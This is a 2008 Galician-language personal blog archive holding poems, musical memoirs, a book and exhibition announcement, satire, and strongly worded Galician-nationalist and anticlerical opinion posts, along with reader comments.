----- -------- AUTHOR: Lugris TITLE: No ponto certo das cousas BASENAME: no_ponto_certo_das_cousas DATE: Wed, 02 Jul 2008 14:50:30 +0000 STATUS: publish PRIMARY CATEGORY: Escrever nom é mau CATEGORY: Bi-lhei TAGS: ----- BODY:A mao, esta mao que te procura
instala-se no ponto certo das cousas
cara ao jogo do riso na Galiza libertada
pola cidade sem ramplas nos passeios. Imos
Abraço a desorde das ideias
Foi preciso para isto nascer e regressar?
Um espasmo de luz incéndia o bosque
No reverso do mar nom há raizes
Confeso que estou tola: Eu vivo no telhado
eu elegim lugar e arquitectura
levantade umha torre
Nos pés das estátuas os cans mejam
Tenho alucinaçons multicores
O caminho é o mesmo
página em branco para punçar de novo
ainda que nom haja oxigénio nem mar
e a torre nom se revele como o caminho do inferno
Mas no meio e meio do trajecto
que parece um compéndio do universo
todo, excepto a beleza, se contagia
Umha cidade ergueita sobre as águas dum rio
Nom há como voltar a umha cidade amada
que se asemelhe ao ruido compartilhado
no cal vivo da água
Sei perfeitamente que todo está aquí
a cabana imortal dumha memória
Do lugar exacto
quero aprender a sair
precisamente para nom sair
e asumir também essa traiçom
ou abandono este verso no meio da rua
um nome recurtado sem sentido
destas ruas que sobem e baixam
A minha língua saberia voltar
e nom saberia dizer onde perdeu as chaves
Sair polo outro lado
mas é que além disso
renace da escuma das águas albinas
que compunham o quadro da cidade
polos bulevares da vissom. Sigue-me
como som as cousas que nos ham acompanhar já sempre
E ficou a televisom prendida
para a minha contemplaçom
quando nada se verque sem mim
Que o alcatram penetre
as frias baldosas do nosso amor
Escrito em Março deste ano 2008, para ser incluido num livro com motivo do 800 aniversário da cidade da Corunha, coordenado pola AELG. O poema é meu, o título é um verso de Luisa Villalta, e os versos som de Luisa Villalta, Xela Árias, Pilar Pallarés, Marica Campo, Marta Dacosta, Maria do Cebreiro, Yolanda Castaño, Emma Couceiro, Estíbaliz Espinosa, María Lado e Ana Romaní.
----- -------- AUTHOR: Lugris TITLE: Cinco por cento BASENAME: cinco_por_cento DATE: Wed, 02 Jul 2008 06:26:40 +0000 STATUS: publish PRIMARY CATEGORY: Escrever nom é mau CATEGORY: Cousas por aí TAGS: ----- BODY:Leo
em algures
que do que existe
do que nos rodeia
da realidade
só vemos um 5%
Só chegamos a ver um cinco por cento
Isso dim os científicos
E os filósofos
E os científicos filósofos
e imagino que também os filósofos científicos
Leo
que umha enigmática
desconhecida
e para nós invisível
matéria escura
ocupa o vinte por cento da realidade
E leo
que umha misteriosa
e se calhar
só hipotética
energia escura
supom o setenta e cinco
por cento
da realidade
A imensa maioria da realidade
se calhar nom existe
Em termos democrático-constitucionais
Todo é mentira
E a verdade é umha minoria
Respetável
mas minoria
e portanto insignificante
Estamos rodeados
por algumha cousa que nom só nom vemos
mas nem compreendemos
e que se calhar nom existe
ou nunca saberemos se realmente existe
Nem se trata de tomar
umha pílula
dumha ou doutra cor
Trata-se de ir mais alá
da realidade que conhecemos
cara a verdade
que nos agacham
Por dizer algumha cousa mais, sobre a necessidade de apostatar a Espanha, e porque insisto em que entre as piores cousas que se podem ser no mundo, ser espanhol é umha delas, colo aqui um anaco do artigo "Fútbol, eurocopas, vascos y españoles" de Joseba Macías (sociólogo, periodista e professor da EHU-UPV), publicado hoje no Gara.
Como sempre, pouco pam e péssimo circo.
"El segundo debate se refiere al fútbol como catarsis, el fútbol como negocio. La selección española gana la Eurocopa. Han pasado cuarenta y cuatro años desde la anterior gesta, en pleno franquismo, contra la Unión Soviética (Estadio Santiago Bernabeu, Madrid 1964). Un triunfo, por lo demás, lleno de manifiestos simbolismos y mecanismos legitimadores como en el caso del Mundial Argentina 78 para la dictadura militar. Ahora no. España es monárquica y socialdemócrata, como han demostrado los palcos vip, tiene un himno seductor (sin letra pero el mismo que cuatro décadas atrás), un estado moderno y avanzado (con datos como el mayor consumo continental per cápita de cocaína), unos medios de comunicación plurales y abiertos (en manos de holdings que controlan desde los libros escolares hasta las cadenas radiofónicas y televisivas), una iglesia que sigue inmersa en la misma cruzada liberadora de siempre o (cierre de ítems para evitar el abuso estadístico) unos grandes bancos con presencia multinacional (Banco de Santander, BBVA...) que, con sus ya confirmados astronómicos beneficios para el cierre del ejercicio 2008, se convierten en el buque insignia de la brillante y cautivadora deontología del capital financiero y especulativo peninsular (ver América Latina como ejemplo empírico). La selección, simplemente, ha venido a confirmar que «lo español» está de moda (fashion). Una nueva generación de héroes en el país del «síndrome de Cenicienta» (todo es posible en función del espectáculo y la vacuidad del éxito-contrato inmediato) que han conseguido, al menos por varias semanas, alejar el mal fario de euribors, planes anticonstitucionales, leyes neonazis contra la inmigración, crisis (léase desaceleraciones) o asesinatos domésticos."
----- -------- AUTHOR: Lugris TITLE: Sem alaracas BASENAME: sem_alharacas DATE: Wed, 25 Jun 2008 07:44:09 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por cá CATEGORY: TAGS: ----- BODY:Entre outras cousas que me mantiverom ocupado neste último mês, nom foi a menor (e também nom foi a maior, claro está), os exames de final de curso da EOI.
Onte mesmo pudem ver as qualificaçons no web, e estou contento. Rematado este curso, parece que agora me darám um título.
Mas há já uns quantos dias, celebramos umha ceia de fim de curso, e na mesma entregamo-nos a nós mesmos umha orla. Na foto, podedes ver (mal, porque é umha foto de móbil), à subdelegada Patrícia entregando-me a minha em solene acto, sem grandes alaracas mas entranhável.
----- -------- AUTHOR: Lugris TITLE: Reter águas com as maos... BASENAME: reter_aguas_com_as_maos DATE: Wed, 25 Jun 2008 07:05:42 +0000 STATUS: publish PRIMARY CATEGORY: Stop hipocrisia! CATEGORY: Cousas por aí CATEGORY: Estam tolos estes espanhois TAGS: ----- BODY:Sentados nos sues cómodos, luxosos e bem pagos gabinetes de Roma, quer dizer... de Bruxelas e Estrasburgo, os senadores romanos..., isto é, os europarlamentários, decidem que a partir de tal data se poderá reter a água com as maos. Sem dúvida, se eles o decidem, será possível.
Quê diram os livros de texto, as enciclopédias e os estudos históricos que se escrevam no futuro?
(Por citar aos clássicos) Já o digerom os da Polla Records: "Arrasaremos as vossas colheitas e os vossos supermercados. Matade-nos. Em marcha! Queremos a nossa parte".
Na sexta-feira, às 19'50h., Aldám decidiu sair da barriga da sua mae, em um parto prezioso, bonito, emocionante e, sobre todo, tranquilo.
Já estamos em casa, os 4: Aldám, Xende, Noélia e quem isto escreve.
Nos próximos dias, mais comentários. Agora, só umhas linhas para que todo o mundo poda saber que estamos muito contentos/as.
parabéns!
e obrigado por ponher o enlace…
agradeceria-che, tambem, se me enviaras fotos dos quadros que tes…nom lembro quais eram e estou tentando recuperar imagems de todos os filhos que se forom da casa…
Joachim Hunold é um elegante, importante e galante executivo, mais isso nom evita que seja umha pessoa humana como todas as demais que andamos polo mundo adiante, e tenha os mesmos defectos e as mesmas virtudes que todos os demais.
Virtudes, em verdade, nom lhe conhecemos nengumha, mas o certo é que o conhecemos pouco. Mas sabendo que é Director-Executivo dumha grande empresa internacional, imaginamo-nos que também nom será umha pessoa preocupada polos problemas sociais, políticos, económicos, ecológicos e/ou que existem no mundo. Estará mais preocupado, pola conta de resultados da sua empresa, polas da competência, e todos os dias se levantará pensando em como fazer para, seja como for, conseguir que a sua empresa ganhe mais e mais dinheiro.
Nessas devia andar um dia o tal Joachim, sentado no seu gabinete, quando se lhe escapou um peido. Sim, um peido!
Um pum , peido, traque, bufa, triscada, vento, farpa, trovoada, bomba,...
Também nom é asunto tam escandaloso. A quem nom se lhe tem escapado, voluntaria ou involuntariamente, um peido, umha ventosidade emitida polo ánus, com o característico ruído que se produz na sua saída. Ainda que nisto do ruído, há muito que dizer, porque, e já entrando no terreo da peidologia, umha clasificaçom básica divide-os em base a duas variantes, a saber:
a) o ruido.
b) o cheiro.
Dentro do grupo a, teriamos, sucintamente:
a.1) os que fam ruido, que pode ser de diverso tipo: trompeteiro, de flauta, de tambor, repinicar, de gaita,...
a.2) os que nom fam ruido, ou é practicamente imperceptível.
E dentro do grupo b, teriamos:
b.1) os que cheiram; e os que cheiram sempre, sempre, sempre, cheiram mal.
b.2) os que nom cheiram, que tenhem a capacidade de passar desapercibidos.
Em todo caso, essa acumulaçom de gases no estómago, ou nos intestinos, que nem se sabe muito bem, e os maiores especialistas nom se ponhem de acordo neste tema de onde é que se produzem os peidos, sempre venhem acompanhados dumha posterior expulsom, evacuaçom, despejo.
É regra comum de bom comportamento na nossa sociedade, essa sociedade da que também fai parte o Joachim do nosso relato, nom realizar essas expulsons em público (polo ruido, polo cheiro), e a disimular quando tal cousa sucede, porque ainda que seja um fenómeno natural, inerente à nossa condiçom humana e animal, esses gasses, esse fluido aeriforme que se mantem no nosso interior a umha temperatura e pressom constante, oprimindo-nos e provocando malestar, e cujo volume sempre é o do espaço ou órgao que o contem, quer dizer, que sempre ocupa todo o espaço do nosso estómago ou dos nossos intestinos, e por isso esse malestar, e por isso essa agradável sensaçom ao ser expulsado,... Pois como digo, esses gases, esses arrotos, essas ventosidades ou flatulências, nom tenhem boa fama, nom som bem recebidas, em público.
Mas esse dia que tinhamos ao Joachim deste relato sentado no seu gabinete, pensando em ganhar mais e mais dinheiro, e depois de ter almorçado (porque, e este é um dado importante que se calhar tinhamos que ter aportado antes, o nosso protagonista é alemam, e os alemáns, já se sabe, tenhem um almorço potente, para afrontar o dia com energia, como corresponde a esse subgrupo humano denominado "executivos alemáns"), pois esse dia, que temos aí ao nosso Joachim no seu gabinete, bem comido e bem mantido, bem vestido e bem peiteado, pensando nas suas cousas, esse dia (poderia ter sido qualquer outro dia, mas foi esse), botou um peido.
Pareceu-lhe a ele, todo um executivo, que era mágoa que um peido, umha produçom intelectual desse calibre, que ele julgou importantíssima aportaçom à humanidade, se perdera sem que fora conhecido polo mundo inteiro, e entom, como director executivo que era, pensou, decidiu e executou.
E que foi o que fijo? Pois publicou o seu peido na revista da sua empresa, para que ficara constáncia eternamente do importante trabalho que realiza no seu gabinete. E este é o resultado.
Um peido, umha ventosidade, umha flatulência, que impregna todos e cada um dos lugares da sua empresa. Já sabes quando viajes com eles, a que cheiram os seus avions. Nom é nengum segredo: cheiram a peido, a peido ruidoso, flatulento e asqueroso.
A verdade é que o futebol, e practicamente todos os espectáculos chamados desportivos (grandes negócios de grandes empresas), me interessam bem pouco. Nunca soubem nada de futebol: nem os nomes dos jogadores, nem os nomes das empresas (quer dizer, dos clubes), nem dos campeonatos,... Nunca sei a quê hora se jogam os partidos, nem quem vai melhor ou pior classificado. Nom tenho nengum interês em saber quê fai ou deixa de fazer essa chamada "selecçom espanhola", e se me perguntam sei qual será a minha resposta.
Mas, agora que começou nom sei quê competiçom, que ocupa horas e horas de rádio e televisom, e páginas e páginas de periódicos e webs, depois de ler e ouvir a tanto falabarato charlatam e patrioteiro, chego novamente a umha conclusom evidente: Das piores cousas que se podem ser no mundo, ser espanhol é umha delas.
Além de apostatar à igreja católica, polo bem da saude mental e intelectual: há que apostatar ao estado espanhol!!!
Socorro!!!!!
Non te equivoques, meu. A selección espanola de fútebol e o pior aliado do nacionalismo espanhol. A min caen-me ben porque nunca ganhan…
----- -------- AUTHOR: Lugris TITLE: A igreja (católica, apostólica, romana) mata BASENAME: a_igreja_catolica_apostolica_romana_mata DATE: Fri, 06 Jun 2008 15:30:05 +0000 STATUS: publish PRIMARY CATEGORY: Stop hipocrisia! CATEGORY: Cousas por aí CATEGORY: Gz é bem pequena TAGS: ----- BODY:Caminhando polas ruas virtuais, visitando as casas dos amigos e as amigas, tomando-lhe um café por aí e um licor café por alá, atopei um lugar onde descansar um pouco mentres via umha interesante curta.
De súpeto, descobres umha das melhores vozes da nossa literatura, a falar nessa curta, porque o texto é seu, e se calhar mesmo a música está escolhida por ela.
Vejo umha, duas, três vezes o vídeo, ensino-lho a umha das companheiras do trabalho, e, sem poder resistir-me, escrevo este pequeno comentário, para dar-lhe publicidade, cumprindo com umha das minhas (auto)obrigas: ser um operário da agit-prop. E entom decidido seguir caminhando por essas ruas que poucas vezes visito.
[youtube]CMHdp_Rf05o[/youtube]
Justo nestes dias, a entrada à aldeia onde vivo está "engalanada" com umha grande faixa enriba da estrada que di mais ou menos "Bienvenida Virgen de la Encina". E cada vez que passo por baixo, dam-me ganhas de pintar na parede branca que está ali mesmo algumha palavra soez, qualquer barbaridade, ou simplesmente um claro "Deus nom existe".
E qual é o motivo da faixa? Pois parece ser que a secta essa dos católicos, celebra que há cem anos umha figura de madeira dumha mulher (que representa a submissom, a repressom, o patriarcado, a perseguiçom da liberdade, etc...), foi por eles mesmos levada "aos altares e coronada", baixo o nome de Virgem da Azinheira.
E agora, este ano, dedicam-se a fazer proselitismo das suas teorías supersticiosas, como crer que falar com um anaco de madeira pode solucionar os problemas da humanidade.
Em fim, deixo-vos um decálogo interesante, para mandar a tomar vento a tanto fervente católico.
1º Francisco Vázquez, embaixador espanholíssimo no Vaticano tratou de fazer o impossível para impedir a ampliaçom de direitos a gais e lésbicas. No 2004 o Bispo de Mondonhedo comparou a homossexualidade co assasinato, insistindo em que os 'actos homossexuais' som pecado. As instituiçons políticas seguem a amparar a influência social da igreja num estado que se di aconfesional.
A igreja mata
2º Nas estatísticas de suicídio adolescente e de vítimas de 'mobbing escolar' dispara-se a percentagem de jovens maricas, trans ou bolheras. A homofobia, a transfobia ou a lesbofobia seguem a ser factores determinantes do suicídio adolescente.
A igreja mata
3º Ao redor de 5.000 homossexuais, lésbicas, transsexuais e transgénero forom detidas e repressaliadas polo franquismo, com a cumplicidade da igreja católica que, en ocasons, actuava como denunciante. O governo franquista habilitou duas prisóns para homossexuais, umha em Badajoz e outra em Huelva, que em realidade funcionavam como campos de concentraçom. Os pressos eram obrigados a realizar trabalhos forçados. Nom seremos livres mentres existam cárceres e pessoas pressas.
A igreja mata
4º Entre 1940 e 1945 mais de 300.000 maricas, bolheras e trans forom assasinadas nos Campos de extermínio nazis. A igreja católica guardou um significativo siléncio durante todo o período nazi.
A igreja mata
5º A igreja católica colaborou co Apartheid em Sudáfrica até a sua aboliçom, em 1994. Nos meses anteriores à sua aboliçom houvo grandes manifestaçons de grupos católicos e racistas a favor do Apartheid.
A igreja mata
6º Em 1963 quedou abolida em Missisipi a lei que proibia o matrimónio entre brancos e negros. O Ku Klux Klan e numerosas organizaçons católicas pressionarom para que se mantivera a proibiçom.
A igreja mata
7º Em 1920 aprova-se nos Estados Unidos o direito ao voto das mulheres. A aprovaçom contou coa firme oposiçom da igreja católica, que considerava às sufragistas umhas loucas. No seu própio seio segue a negar que as mulheres podam aceder a oficiar sacramentos. A igreja invisibiliza às mulheres e relega-nos preferentemente ao papel de nai e esposa sumisa. No que vai de ano 32 mulheres perderom a vida no Reino de Espanha a mans dos 'seus homes'.
A igreja mata
8º No Brasil produce-se um assasinato homófobo, lesbófobo ou tránsfobo cada dous dias. As pessoas transsexuais e transgénero H-M som o colectivo que, estatísticamente, sofre maior violência machista.
A igreja mata
9º Dous milhons de pessoas em Sudamérica e 23 milhons em Âfrica som seropositivas. A igreja quere mais: persiste nas suas campanhas pro-fidelidade e contra o uso do condóm.
A igreja mata
10º Durante vários séculos a Santa Inquisiçom torturou e assasinou a milhares de mulheres, acusadas de bruxas, e de sodomitas, acusados de 'pecado nefando'. Na Itália 'finoccio' significa maricóm porque aos maricas cubriam-nos de folhas de finoccio para retrassar a queima e aumentar a agonia no lume. O outro termo italiano que designa aos maricas é 'frocci' que, ao igual que o inglês 'faggot' significa 'fazer lenha' (para as fogueiras). Especialmente espeluznante foi a repressom contra as populaçons indígenas do 'Novo Mundo' que integravam as práticas lésbicas e homossexuais na sua cultura. A igreja católica nunca se desculpou e segue a considerar 'contra natura' as nossas práticas sexuais.
A igreja mata.
Seguem a odiar-nos, seguem a considerar-nos enfermas, seguem a negar a nossa existência e liberdade....vas ficar calada?
Paremos à igreja católica e à sua reacçom moral
----- COMMENT: AUTHOR: Manuel [Visitante] DATE: Thu, 12 Nov 2009 17:11:38 +0000 URL:Os PAPAS em bebedeira,
Querem-nos impingir isto:
Única e Verdadeira,
Como «Igreja de Cristo».
A «igreja» é uma trapalhada,
Dos «padres», uns intrujões;
Clero, conversa fiada
E os «abades» uns glutões.
Uma Igreja imaculada, (Ef.5,27)
Cristo disse que fundava,
Diferente desta alhada;
Era isto o que eu pensava.
A «ROMANA» padralhada,
Cozinhou-a ao seu sabor,
‘Té parece uma piada
De sofrimento e dor.
É o «reino dos céus» do clero
A enganar o pobrezito,
C’um «vale de lágrimas» vero,
C’um tormento infinito.
Ó Cristo, vem cá à terra,
Tirar esta confusão;
Matar a «besta» que ferra; (Ap,19)
Mostra-lhe a Tua missão.
Em Fátima, uma senhora
Enganou três pastorinhos,
C?uma voz sedutora,
Ameaças e adivinhos.
Disse que era mãe de Cristo,
Mas não era Israelita.
Ora vejam bem, só isto:
Que coisa tão esquisita.
Se Judia fosse ela,
Que adorasse a DEUS Javé,
Não pediria CAPELA,
Porque ABOMINAÇÃO é.
Em Israel quem se preze,
Tal coisa não pediria,
Que mais cheira a catequese,
Que voz da Virgem Maria!
E nem pensou a senhora,
Que seria descoberta,
Dessa farsa enganadora;
Não foi assim tão esperta!
Mas há muitos insensatos
Que se deixam enganar;
A cair que nem uns patos,
Sempre, sempre sem cessar!
Peregrinos a sofrer
Enchem os bolsos do clero;
E só lhes resta morrer
Em desespero sincero.
a voz de estibaliz espinosa no video é o melhor e o texto non é dela e das maribolheras
bicos
hola
mira qué coincidencia que tí tamén tes Cliks en o teu blog,perdoa meu galego non e moi bo pero fago o que podo¡
graciñas por votarme unha man con a miña expo,ecántame o cartel e as invitacions
seguimos en contacto
unha aperta forte
Vaia…
O pintor mais célebre da minha família nom as queimava: pintava-as.
Mas também parece ser que pintou algumha cousa para o Azor (que se lhe vai fazer… nengumha família é perfeita).
Que podo dicir? A única Igrexa que ilumina é a que arde. Por certo que o represaliado máis célebre da miña familia mandárono á morte acusado precisamente diso, de queimar unha igrexa.
----- -------- AUTHOR: Lugris TITLE: Mais memória musical BASENAME: mais_memoria_musical DATE: Thu, 05 Jun 2008 10:19:26 +0000 STATUS: publish PRIMARY CATEGORY: Músicas CATEGORY: B.S.O. da memória TAGS: ----- BODY:Descobrim a Georges Brassens quando tinha, mais ou menos, 11 anos. Numha viagem à Suiça, para ir ver a minha mae, meu irmao cantou-nos, em franzês (se calhar aprendida no liceu), La Mauvaise Reputatión.
Anos depois, muitos anos depois, em Ovieu, na casa dumha tia, pudem escuitar e gravar um disco de Brassens, e um disco com as cançons de Brassens traduzidas ao espanhol cantadas por Claudina e Alberto Gambino: "Ensayos sobre Brassens".
[youtube]xWhJtRYhJfE[/youtube]
E a estes, isto sim que é casualidade, "descobrira-os" (é um dizer), muitos anos antes: com 6 ou 7 anos anos, e vivindo na Corunha, levaram-me a um concerto deles. Pouco recordo tenho desse concerto (celebrado, se mal nom lembro, num liceu dos jesuitas, ou umha cousa assim), mais que algumha música e nome deles. Tam sonoro. Tam eufónico. Tam exótico.
Por suposto, gravei os discos da minha tia, e escuitei-nos em cassete até que se lhe caiam a troços o ferro e o cromo.
Agora, há uns dias, e por obra e graça da mula, pudem recuperar o disco de Claudina e Alberto Gambino. Algumhas das traduçons som de Nacha Guevara, parece ser.
Por suposto, também escuitei depois a Brassens nas versons de Sabina, Krahe e Alberto Pérez, no seu famoso e inesgotável disco de "La Mandragora". Mas isso é outra parte da memória musical.
----- -------- AUTHOR: Lugris TITLE: Justiça com J de Jara. Vitor com V de Vitória BASENAME: justica_com_j_de_jara_vitor_com_v_de_vit DATE: Wed, 04 Jun 2008 17:36:44 +0000 STATUS: publish PRIMARY CATEGORY: Músicas CATEGORY: Cousas por aí CATEGORY: Gz é bem pequena CATEGORY: B.S.O. da memória TAGS: ----- BODY:Há muitos anos, já muitos muitíssimos anos, os meus tios, o irmao da minha mae e a sua mulher, chegarom à nossa casa da Corunha com um presente inesquecível: um gira-discos. Um mala compacta, com giradiscos, cassete e rádio, e dous alta-vozes, que se convertirom no centro da casa, e com os quais pudemos escuitar música durante muitos anos, até que as cousas melhorárom economicamente na minha família (e isso foi depois de vários e vários anos), e pudemos mercar um outro aparato (que ainda é o que há na casa familiar), já entom com leitor de CD`s.
[youtube]xdBMY3R4C0Q[/youtube]
Junto com esse gira-discos, vinham nom poucos discos, de diversos estilos, épocas e gostos. Vinilos grandes, LP's, e vinilos pequenos, dos de 45 r.p.m., singles. Entre todos esses discos, que ainda conservamos, alguns de membros de Voces Ceives, vários dos Beatles, dous ou três de Serrat, música anglosaxona diversa, Os Brincos, Massiel,... e diversa música latinoamericana. Entre estes últimos, umha ediçom soviética (os meus tios viajavam muito), de Victor Jara.
Eu tardei muito em saber-lhe o nome a este cantantes, mas foi um dos discos que mais se podia escuitar na nossa casa. A questom é que como estava todo em russo, na capa em vez de Victor Jara vinha escrito umnha cousa estranha que se podia ler mais ou menos como "Buktop Xapa". Assim que para mim foi durante muito tempo (eu teria 7 ou 8 anos como muito), Buktop Xapa.
Hoje, ao escuitar na rádio que a justiça chilena decidiu reabrir a investigaçom polo seu assassinato a maos dos fascistas pinochetistas, lembrei-me disto que venho de contar.
As suas cançons fam parte da minha memória. Da memória de milheiros de pessoas, que ainda cremos na luita pola utopia, nom por impossível, mas por necessária.
Desde este humilde blog de operário, esta pequena homenagem.
Sí.
Creo recordar que fora un recital de poesía na Casa da Sociedade de Esteiro cun trasfondo antimilitarista ou no marco dalgunha outra causa social. Xa case eu non me acordo e tí mira.
Veña Igor, é un pracer atoparte na rede e leer OVNIS E ISOGLOSAS.
Un saúdo.
----- COMMENT: AUTHOR: igor [Membro] DATE: Thu, 05 Jun 2008 10:31:46 +0000 URL:Já me dou conta, Moncho. Sim.
Ainda mais: lembro um recital de poesia, mas nom lembro bem onde, que tu organizaras, e onde estavamos eu, o Rafa Villar, e alguns mais. Pode ser?
Saudaçons.
Ola Igor:
Nun comentario anterior que fixen no teu blogue dixérache que posiblemente me coñezas.
Vou darche pistas, que considero suficientes.
Debo de ter pouco máis ou menos a mesma idade que ti, e coincidín contigo en Compostela como militante do nacionalismo xuvenil.
Eu estaba nos CAF de económicas e penso que ti no de Filoloxía.
Eu estaba na UMG e ti en INZAR. Cando deixaches INZAR para participar do proxecto de PRIMEIRA LINHA eu seguín na UMG.
Finalmente abandonei o nacionalismo organizado bastante escaldado mais esto é fariña doutra muiñada.
Eu estaba no Batallón Literario da Costa da Morte e ti estabas no Consello de Letras de Cal, e temos coincidido en recitais de poesía.
Non é que fósemos moi amigos, mais eu considéroche un coñecido que me trae recordos agradables daquela época compostelá.
Naquela época eu fora Responsable Comarcal de Galiza Nova de Muros-Noia e membro da dirección nacional.
Chámome Moncho Bouzas.
Daste conta?
Guau, é unha historia de novela, iso da edición rusa. Se aínda a conservades gardádea ben. Eu tamén teño asociado algún dos meus primeiros recordos musicais, con 7 ou 8 anos a un disco de Víctor Jara. Lembro estar escoitando obsesivamente nun vinilo prestado “Preguntas por Puerto Montt” e “A desalambrar". Pasaron moitos anos antes de que puidese volver escoitalas e entendelas.
----- -------- AUTHOR: Lugris TITLE: Maria Lado, Nove BASENAME: maria_lado_nove DATE: Tue, 03 Jun 2008 14:09:36 +0000 STATUS: publish PRIMARY CATEGORY: Livros CATEGORY: Cousas por aí TAGS: ----- BODY:Maria Lado, anuncia, via co-e, e via blog, que já está pronto para sair à rua "Nove". Di ela que nos próximos dias já lhe poderemos pedir ao nosso libreiro/à nossa libreira um exemplar em papel deste "endemoniado livro", culpável dos seus desvelos do verao passado.
Além disto,
além de podermos contar com a ediçom em papel da mao de Fervenza, resultado do prémio Avelina Valhadares da Estrada, com desenho na capa de David Rubin, e prólogo de Suso Bahamonde, aproveita a dona da Casatlántica para anunciar umha próxima ediçom digital livre, ao dispor "de todas as pessoas livres do mundo virtual e de mais aló".
Um livro de poemas que, ao dizer da autora, fala do "desacougo de habitar um país como umha ilha que navega no lombo dum cetáceo ferido".
Recomendado, evidentemente. Mais que recomendado. Porque, seguro, onde esteja um cubata que se quite um soneto.
----- -------- AUTHOR: Lugris TITLE: Bella Ciao, M.C.R. BASENAME: bella_ciao_m_c_r DATE: Mon, 02 Jun 2008 17:48:13 +0000 STATUS: publish PRIMARY CATEGORY: Músicas CATEGORY: Xende Lugris TAGS: ----- BODY:O Xende quer a todas as horas ver/ouvir esta cançom no tubo. Nom tem mal gosto...
[youtube]55yCQOioTyY[/youtube]
Una mattina mi son svegliato
O bella ciao, bella ciao, bella ciao ciao ciao
Una mattina mi son svegliato
Eo ho trovato l'invasor
O partigiano porta mi via
O bella ciao, bella ciao, bella ciao ciao ciao
O partigiano porta mi via
Che mi sento di morir
E se io muoio da partigiano
O bella ciao, bella ciao, bella ciao ciao ciao
E se io muoio da partigiano
Tu mi devi seppellir
Mi seppellire lassù in montagna
O bella ciao, bella ciao, bella ciao ciao ciao
Mi seppellire lassù in montagna
Sotto l'ombra di un bel fiore
E le genti che passeranno
O bella ciao, bella ciao, bella ciao ciao ciao
E le genti che passeranno
Mi diranno: "Che bel fior"
È questo il fiore del partigiano
O bella ciao, bella ciao, bella ciao ciao ciao
È questo il fiore del partigiano
Morto per la libertà
***********************
Umha traduçom, ou mais bem interpretaçom, livre, liberrima, libertária...
Esta manham ao erguer-me
O bella ciao, bella ciao, bella ciao, ciao, ciao
Esta manham ao erguer-me
divisei ao invasor.
¡Oh! Guerrilheiro, quero ir contigo
O bella ciao, bella ciao, bella ciao, ciao, ciao
¡Oh! Guerrilheiro, quero ir contigo
porque me sinto aquí morrer.
E se eu caio, na guerrilha
O bella ciao, bella ciao, bella ciao, ciao, ciao
E se eu caio, na guerrilha
apanha tu o meu fusil.
Cava umha covaen na montanha
O bella ciao, bella ciao, bella ciao, ciao, ciao
Cava umha cova na montanha
baixo a sombra dumha flor.
Assim a gente quando a veja
O bella ciao, bella ciao, bella ciao, ciao, ciao
Assim a gente quando a veja
dirá "quE bela flor!"
Será a flor dum guerrilheiro
O bella ciao, bella ciao, bella ciao, ciao, ciao
Será a flor dum guerrilheiro
morto pola liberdade.
...Será a flor dum guerrilheiro
morto pola liberdade.
Morto pola liberdade.
Esta sexta-feira, 30 de Maio, Reme Remédios inaugura a sua exposición de debuxos e collages ?Carpeta Negra - Carpeta Verde?, na Galeria Dosmilvacas.arte, em Ponferrada (Avda. de Astorga, 7).
Visitem o seu blogue. Ganhem no mínimo um minuto de vida fazendo-o. Paga a pena.
?Carpeta Negra - Carpeta Verde? remite a um processo, a umha forma de trabalho, a umha ideia e um conceito. A toda umha capacidade, engenho e talento para ser capaz de recuperar, de reutilizar, de actualizar todo o realizado num momento de necessária catarse, segum comenta a própria autora.
Reutilizar significa tornar novamente útil. Reme Remédios emprega com utilidade umha obra nua, primitiva, honesta, resultado de messes de trabalho com elementos básicos, longe da preocupaçom polo resultado. Um trabalho estranho, afastado das convençons, alheio à procura dumha finalidade ou dum sentido concreto, arredado da disciplina, da teoria, da lógica.
A transformaçom desse trabalho provoca umha obra nova: desenhos e collages construidos, agora sim, da consciência, da procura, do esforço. Reconstruindo o anteriormente deconstruido. Objectos produzidos desde o conhecimento, a reflexom e a sinceridade. Reme Remédios emprega a sua capacidade, como artista, mas também como mulher, para descobrir, conhecer e compreender o significado do trabalho anterior, actualizando a mensagem que transmite, acrescentando novos significados à obra primigénia. ?Recuperar, renovar e transformar (...) Duplicar, recurtar, continuar?, di ela. Mudar, anovar, recriar, poderiamos dizer. E ainda: reformar, variar, renovar, modificar, reconstruir, rectificar, ... E mais: produzir e reproduzir, fundar, alimentar, ceivar, medrar, cultivar, imaginar... inventar. Cada acçom com o seu verbo, cada verbo com o seu significado.
O resultado é umha mulher espida, umha loba, umha nena, que se mostra na procura da sua identidade no meio dum universo cheio de terra, de flores, de feras carinhosas, de amáveis animais que acompanham o caminho, interior e exterior, dessa mulher salvagem, bravia, bárbara. Pequena. Essa mulher, forte e lene, que se mostra sem máscaras indo ao encontro de novas ferramentas para mirar com sossego o horizonte, sabendo que a memória é isso que nos falta quando queremos falar do que nom temos.
----- -------- AUTHOR: Lugris TITLE: A minha lingua... (e VII. Os autocolantes) BASENAME: a_minha_lingua_e_vii_os_autocolantes DATE: Tue, 27 May 2008 17:01:28 +0000 STATUS: publish PRIMARY CATEGORY: Escrever nom é mau CATEGORY: Para Ver Ler CATEGORY: A minha língua... TAGS: ----- BODY:Esta é a colecçom de autocolantes realizada junto com os cartón na ediçom especial do poema "A minha língua quero na tua boca".
Com isto, dou por rematada esta série do projecto "Poesia para ler/poesia para ver". Estou já a trabalhar na nova obra.
Algumhas pessoas, as que participarom no acto da sexta-feira passada na Escola Oficial de Idiomas de Ponferrada, com motivo do Dia das Letras, já puderom ver alguns desses trabalhos.
No futuro, mais.
Eu também desenhar!
Ainda mais blogues onde recolhem a ediçom das tarjetas: as Palabras de Amauta, de Girona, Principat de Catalunya, e o blogue de Português do IES Olhos Grandes de Lugo.
Novamente, a eles/as, aos/às de antes e a quem mais venha: obrigado!.
Nom te deixes arrastar pola maré meiática espanhola!!!
Se gostas de Eurovisom, se gostas da música, se gostas da nossa língua (se gostas da língua de todas as pessoas), ou se, simplesmente, queres demostrar com os factos o teu apoio à nossa língua, internacional, deixar patente o facto diferêncial galego, e dar-lhe umha boa pancada a tanto espanholismo carpetovetónico, cavernícola e ráncio que nos arrodeia,... AGORA PODES FAZÊ-LO!!!
[youtube]6qZZxgHxYrw[/youtube]
Portugal, esse país irmao no que falam a nossa língua, estará presente na final do concurso da Eurovisom, manham, dia 24 (véspera do 25 de Maio, Dia da Toalha). E poderás botar pola sua representante, Vânia Fernandes, que com a cançom, Senhora do Mar, representará a todos os galego-falantes, portugues-falantes, galegoportugueses-falantes, ou o-que-quer-que-seja-falantes, da Europa.
E, ao tempo, poderás estar a participar, desde já, na celebraçom do Dia da Toalha! Don´t panic!!!
